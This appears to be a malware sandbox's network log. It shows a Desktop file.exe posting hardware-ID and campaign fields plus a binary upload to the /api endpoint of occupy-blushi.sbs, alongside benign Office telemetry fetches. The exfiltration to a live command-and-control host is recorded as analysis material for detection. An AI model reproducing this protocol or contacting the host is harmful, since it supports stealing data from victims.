2024-11-25 17:28:18 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 17:28:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49718	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:19 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L9O0OWN27Z2CZ6UR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19957 Host: occupy-blushi.sbs
2024-11-25 17:28:19 UTC	15331	OUT	Data Raw: 2d 2d 4c 39 4f 30 4f 57 4e 32 37 5a 32 43 5a 36 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4c 39 4f 30 4f 57 4e 32 37 5a 32 43 5a 36 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 39 4f 30 4f 57 4e 32 37 5a 32 43 5a 36 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --L9O0OWN27Z2CZ6URContent-Disposition: form-data; name="hwid"B65B605A8DF8A619D7CBBD6DF28D3732--L9O0OWN27Z2CZ6URContent-Disposition: form-data; name="pid"3--L9O0OWN27Z2CZ6URContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-25 17:28:19 UTC	4626	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 Data Ascii: +?2+?2+?o?Mp5p_
2024-11-25 17:28:20 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=da326eajhbe34i8anieg3laado; expires=Fri, 21-Mar-2025 11:14:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ulrWAASWT6fUreihoRCk73B3DMKOaOUMBW75gstYADXX2zOvkdfq2fTjiP%2BGGxXU%2FWmfsYzQWVrsOMngsBddP2il%2F2YfVJimkqGetg%2FWWvY6EvA1u2EOFYUlFuui1c8LeLvdxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835ac4d845423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20918&delivery_rate=1532808&cwnd=178&unsent_bytes=0&cid=f0c36840bd111949&ts=963&x=0"
2024-11-25 17:28:20 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 17:28:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ef81d43b-c01e-008d-1898-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172820Z-15b8b599d889fz52hC1TEB59as000000067g00000000bhqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2eed8dc4-701e-0098-0dc6-3e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172820Z-178bfbc474bpnd5vhC1NYC4vr400000007t000000000b7qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172820Z-174c587ffdf59vqchC1TEByk6800000006dg000000009nf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172820Z-174c587ffdf59vqchC1TEByk6800000006d000000000c3bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172820Z-178bfbc474bv587zhC1NYCny5w00000007mg00000000hcsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c312cdef-801e-0083-52a3-3ef0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172822Z-178bfbc474bxkclvhC1NYC69g400000007pg00000000gzub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172822Z-174c587ffdftv9hphC1TEBm29w000000065g00000000dqwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49725	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7J4U26NM20KE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1185 Host: occupy-blushi.sbs
2024-11-25 17:28:22 UTC	1185	OUT	Data Raw: 2d 2d 37 4a 34 55 32 36 4e 4d 32 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 4a 34 55 32 36 4e 4d 32 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 4a 34 55 32 36 4e 4d 32 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 4a 34 55 32 36 4e 4d Data Ascii: --7J4U26NM20KEContent-Disposition: form-data; name="hwid"B65B605A8DF8A619D7CBBD6DF28D3732--7J4U26NM20KEContent-Disposition: form-data; name="pid"1--7J4U26NM20KEContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7J4U26NM
2024-11-25 17:28:23 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sk4eupfijofn5367og43ktbho8; expires=Fri, 21-Mar-2025 11:15:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGA7kYle5UXSO%2Bz6APyVjhh4hP%2F6WnvLDX6BRj1VRPXXqa%2F9vn7ggtx1dk9nGO%2Bu4iQtHoBLi8nIPzVZpBKjA103Y%2FfWiR5qZTyODvGp2To3GZ9dHkaIR%2BP%2B09ktTnKKxfYTIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835ad53e4b42d1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2161&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2097&delivery_rate=1292607&cwnd=192&unsent_bytes=0&cid=00299f5edb872310&ts=778&x=0"
2024-11-25 17:28:23 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 17:28:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
